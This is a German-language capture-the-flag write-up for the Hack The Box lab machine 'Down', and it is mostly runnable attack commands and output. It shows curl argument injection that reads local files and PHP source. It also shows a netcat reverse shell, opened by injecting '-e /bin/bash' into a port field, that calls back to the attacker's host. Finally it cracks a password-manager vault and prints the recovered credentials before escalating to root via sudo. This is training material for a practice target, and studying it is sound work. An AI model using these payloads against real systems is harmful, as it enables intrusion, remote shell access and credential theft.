← Zurück zu Machines

HTB · published

Down

HTB Vuln-Track Writeup zu Down: curl Argument Injection, Source Disclosure, Netcat Foothold, pswm Credential Recovery und sudo Privilege Escalation.

HTBMachineWriteupVulnlab MachinesLinuxWebArgument InjectionCredential RecoveryPrivilege Escalation

Metadaten


  • Name: Down
  • IP Address: 10.129.18.167
  • Plattform: Linux
  • Kategorie: Web / Local File Read / Credential Recovery / Sudo
  • Schwierigkeit: Unknown
  • Ziel(e): User, Root
  • Kurzbeschreibung des Szenarios: Die Maschine hostet eine kleine PHP-Webanwendung, die URLs und TCP-Ports prüfen soll. Fehlerhafte Shell-Ausführung mit escapeshellcmd() erlaubt Argument Injection. Dadurch werden lokale Dateien ausgelesen, Source Code offengelegt und später ein Reverse Shell über nc -e erzeugt. Die Eskalation erfolgt über eine lesbare pswm-Vault-Datei im Home-Verzeichnis von aleks, deren Master-Passwort mit rockyou.txt geknackt wird. aleks besitzt anschließend vollständige sudo-Rechte.

Reconnaissance/ Enumeration

initscan:

ping -c 2 10.129.18.167

Ergebnis:

64 bytes from 10.129.18.167: icmp_seq=1 ttl=63
64 bytes from 10.129.18.167: icmp_seq=2 ttl=63

Die TTL 63 spricht für ein Linux-System hinter einem Hop. Danach wurde ein vollständiger TCP-Portscan durchgeführt:

nmap -p- --min-rate 5000 -T4 -oN scans/nmap_full_tcp.txt 10.129.18.167

Offene Ports:

22/tcp open  ssh
80/tcp open  http

servicescan:

nmap -sC -sV -O -p22,80 -oA scans/nmap_services 10.129.18.167

Relevante Ergebnisse:

22/tcp open  ssh   OpenSSH 8.9p1 Ubuntu 3ubuntu0.11
80/tcp open  http  Apache httpd 2.4.52 ((Ubuntu))
http-title: Is it down or just me?

Die Webanwendung auf Port 80 zeigte ein Formular mit dem Titel Is it down or just me?. Das Formular sendet einen Parameter url per POST an index.php.

curl -i -L http://10.129.18.167/

Relevanter HTML-Ausschnitt:

<form id="urlForm" action="index.php" method="POST">
    <input type="url" id="url" name="url" placeholder="Please enter a URL." required>
    <button type="submit">Is it down?</button>
</form>

robots.txt und sitemap.xml existierten nicht:

curl -i http://10.129.18.167/robots.txt
curl -i http://10.129.18.167/sitemap.xml

Directory- und File-Fuzzing:

feroxbuster -u http://10.129.18.167/ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt \
  -x php,txt,bak,old,zip \
  -k \
  -o scans/ferox_root.txt

Interessante Treffer:

200 GET /style.css
200 GET /logo.png
200 GET /index.php
301 GET /javascript
301 GET /javascript/jquery
200 GET /javascript/jquery/jquery

Der jQuery-Treffer war nur die reguläre Apache/Javascript-Common-Auslieferung von jQuery 3.6.0 und kein eigener Anwendungscode.

Virtuelle Hosts wurden mit einem naheliegenden Hostnamen getestet, ergaben aber keine verwertbaren Treffer:

ffuf -u http://10.129.18.167/ \
  -H 'Host: FUZZ.isitdownorjustme.htb' \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fs 739

Das Formular wurde anschließend funktional getestet. Eine Anfrage gegen 127.0.0.1 wurde vom Server erfolgreich ausgeführt:

curl -s -X POST \
  --data-urlencode 'url=http://127.0.0.1/' \
  http://10.129.18.167/index.php

Das bestätigte, dass die Anwendung serverseitig HTTP-Requests ausführt und deren Inhalt reflektiert.

Exploitation (Foothold)

Der erste Verdacht war SSRF oder Command/Argument Injection, da ein klassischer “is it down”-Checker oft intern curl, wget, ping oder ähnliche Tools nutzt.

Ein Callback auf die eigene VPN-IP zeigte den verwendeten User-Agent:

nc -lvnp 8000

Trigger:

curl -s -X POST \
  --data-urlencode 'url=http://10.10.15.109:8000/probe' \
  http://10.129.18.167/index.php

Eingehender Request:

GET /probe HTTP/1.1
Host: 10.10.15.109:8000
User-Agent: curl/7.81.0
Accept: */*

Damit war klar, dass backendseitig curl verwendet wird.

Argument Injection wurde getestet, indem ein zusätzlicher curl-Parameter in die URL eingefügt wurde:

curl -s -X POST \
  --data-urlencode 'url=http://10.10.15.109:8001/argtest -A injected-agent' \
  http://10.129.18.167/index.php

Der Listener sah danach:

GET /argtest HTTP/1.1
Host: 10.10.15.109:8001
User-Agent: injected-agent
Accept: */*

Das bestätigte, dass die Anwendung nicht sauber argumentiert, sondern eine Shell-Kommandozeile baut. Danach wurde die Protokollprüfung umgangen, indem als erstes Argument eine erlaubte HTTP-URL und als zweites Argument eine lokale Datei-URL übergeben wurde:

curl -s -X POST \
  --data-urlencode 'url=http://127.0.0.1/ file:///etc/passwd' \
  http://10.129.18.167/index.php

Die Ausgabe enthielt lokale Benutzer:

root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
aleks:x:1000:1000:Aleks:/home/aleks:/bin/bash

Als nächstes wurde der PHP-Sourcecode gelesen:

curl -s -X POST \
  --data-urlencode 'url=http://127.0.0.1/ file:///var/www/html/index.php' \
  http://10.129.18.167/index.php

Der Code zeigte den Grund der Schwachstelle:

$url = trim($_POST['url']);
if ( preg_match('|^https?://|',$url) ) {
  $rc = 255; $output = '';
  $ec = escapeshellcmd("/usr/bin/curl -s $url");
  exec($ec . " 2>&1",$output,$rc);
}

escapeshellcmd() escaped Metazeichen, quotet aber nicht das gesamte URL-Argument. Leerzeichen bleiben Argumenttrenner, wodurch zusätzliche curl-Argumente möglich sind.

Der Sourcecode enthielt zusätzlich einen versteckten TCP-Modus:

if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {

Im TCP-Modus wird ein Port geprüft:

$ip = trim($_POST['ip']);
$valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
$port = trim($_POST['port']);
$port_int = intval($port);
$valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
if ( $valid_ip && $valid_port ) {
  $rc = 255; $output = '';
  $ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
  exec($ec . " 2>&1",$output,$rc);
}

Der Fehler liegt darin, dass intval($port) validiert wird, aber anschließend der rohe String $port in das Kommando wandert.

Mit -h wurde geprüft, welche Netcat-Variante installiert ist:

curl -s -X POST \
  -d 'ip=10.10.15.109&port=80 -h' \
  'http://10.129.18.167/index.php?expertmode=tcp'

Die Ausgabe zeigte -e-Support:

-e filename    program to exec after connect [dangerous!!]

Reverse Shell:

nc -lvnp 4446

Trigger:

curl -s -X POST \
  --data-urlencode 'ip=10.10.15.109' \
  --data-urlencode 'port=4446 -e /bin/bash' \
  'http://10.129.18.167/index.php?expertmode=tcp'

Shell-Kontext:

uid=33(www-data) gid=33(www-data) groups=33(www-data)
hostname: down
pwd: /var/www/html

TTY-Upgrade:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

Lateral Movement / User Escalation

Als www-data wurde das Dateisystem nach lesbaren Artefakten durchsucht:

find /home/aleks -maxdepth 4 -type f -printf '%p %u:%g %m\n' 2>/dev/null

Auffällig war:

/home/aleks/.local/share/pswm/pswm aleks:aleks 664

Die Datei war für www-data lesbar und enthielt einen verschlüsselten Vault-String:

e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==

Das Tool war lokal installiert:

which pswm
sed -n '1,520p' /usr/bin/pswm

pswm nutzt das Python-Modul cryptocode:

encrypted_text = cryptocode.encrypt(decrypted_text, master_password)
decrypted_text = cryptocode.decrypt(encrypted_text, master_password)

Die Implementierung verwendet:

scrypt(password, salt, n=2^14, r=8, p=1, dklen=32)
AES-GCM

Zum Offline-Cracking wurde ein kleiner Cracker erstellt:

python3 privesc/crack_pswm.py loot/pswm_vault.txt /usr/share/wordlists/rockyou.txt -j 8

Ergebnis:

[+] master_password=flower
pswm        aleks  flower
aleks@down  aleks  1uY3w22uc-Wr{xNHR~+E

Mit dem Passwort wurde zu aleks gewechselt:

su - aleks

Verifizierung:

whoami
id

Ergebnis:

aleks
uid=1000(aleks) gid=1000(aleks) groups=1000(aleks),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)

Privilege Escalation (Root / Domain)

Da aleks Mitglied der Gruppe sudo war, wurde zuerst sudo -l geprüft:

sudo -l

Ausgabe:

User aleks may run the following commands on down:
    (ALL : ALL) ALL

Damit war keine weitere Kernel-, LXD- oder Service-Eskalation nötig. Root-Shell:

sudo -i

Verifizierung:

whoami
id
hostname

Ergebnis:

root
uid=0(root) gid=0(root) groups=0(root)
down

Post-Exploitation

  • User Flag

Pfad:

/var/www/html/user_aeT1xa.txt

Geschwärzter Wert:

d4bc9[REDACTED-USER-FLAG]cacd
  • Root Flag

Pfad:

/root/root.txt

Geschwärzter Wert:

87bb9[REDACTED-ROOT-FLAG]fdcb
  • Screenshots

Keine Screenshots erstellt. Proofs liegen als Textartefakte im Projektverzeichnis.

  • Wichtige Dateien
reports/final_walkthrough.md
reports/down_writeup.md
notes/master_notes.md
notes/attack_plan.md
loot/pswm_vault.txt
loot/user_flag.txt
loot/root_flag.txt
privesc/crack_pswm.py
  • Relevante Logs oder Proofs
scans/nmap_full_tcp.txt
scans/nmap_services.nmap
scans/ferox_root.txt
web/source_index_response.html
web/expert_nc_help.html
privesc/pswm_crack_rockyou.txt
credentials.txt

Lessons Learned

  • Der wichtigste Aha-Moment war, dass escapeshellcmd() keine saubere Argument-Isolation bietet. Wenn untrusted Input in ein Shell-Kommando eingebettet wird, können Leerzeichen weiterhin neue Argumente erzeugen.
  • Ich hätte früher gezielt auf Hidden Modes und Parameter geachtet. Der Sourcecode enthielt mit expertmode=tcp den direkten Foothold-Hinweis.
  • Die Technik, eine erlaubte http://-URL mit einer zweiten file://-URL als zusätzliches curl-Argument zu kombinieren, ist sehr nützlich für lokale File Reads bei unsauber gebautem curl-Aufruf.
  • Bei Linux-Privesc sollte ich lesbare Dateien unter ~/.local/share, ~/.config und lokalen Passwortmanagern früh prüfen. Hier war pswm der entscheidende Credential-Store.
  • Validierung von transformierten Werten ist gefährlich, wenn anschließend der rohe Wert verwendet wird. Hier wurde intval($port) validiert, aber $port ausgeführt.

Notizen

Nützliche Commands:

# Full TCP scan
nmap -p- --min-rate 5000 -T4 -oN scans/nmap_full_tcp.txt 10.129.18.167

# Service scan
nmap -sC -sV -O -p22,80 -oA scans/nmap_services 10.129.18.167

# curl argument injection test
curl -s -X POST \
  --data-urlencode 'url=http://10.10.15.109:8001/argtest -A injected-agent' \
  http://10.129.18.167/index.php

# Local file read
curl -s -X POST \
  --data-urlencode 'url=http://127.0.0.1/ file:///etc/passwd' \
  http://10.129.18.167/index.php

# Source disclosure
curl -s -X POST \
  --data-urlencode 'url=http://127.0.0.1/ file:///var/www/html/index.php' \
  http://10.129.18.167/index.php

# Netcat -e support check
curl -s -X POST \
  -d 'ip=10.10.15.109&port=80 -h' \
  'http://10.129.18.167/index.php?expertmode=tcp'

# Reverse shell
nc -lvnp 4446
curl -s -X POST \
  --data-urlencode 'ip=10.10.15.109' \
  --data-urlencode 'port=4446 -e /bin/bash' \
  'http://10.129.18.167/index.php?expertmode=tcp'

# Crack pswm vault
python3 privesc/crack_pswm.py loot/pswm_vault.txt /usr/share/wordlists/rockyou.txt -j 8

# Root via sudo
su - aleks
sudo -l
sudo -i

Credentials aus dem Vault:

pswm master password: flower
aleks: 1uY3w22uc-Wr{xNHR~+E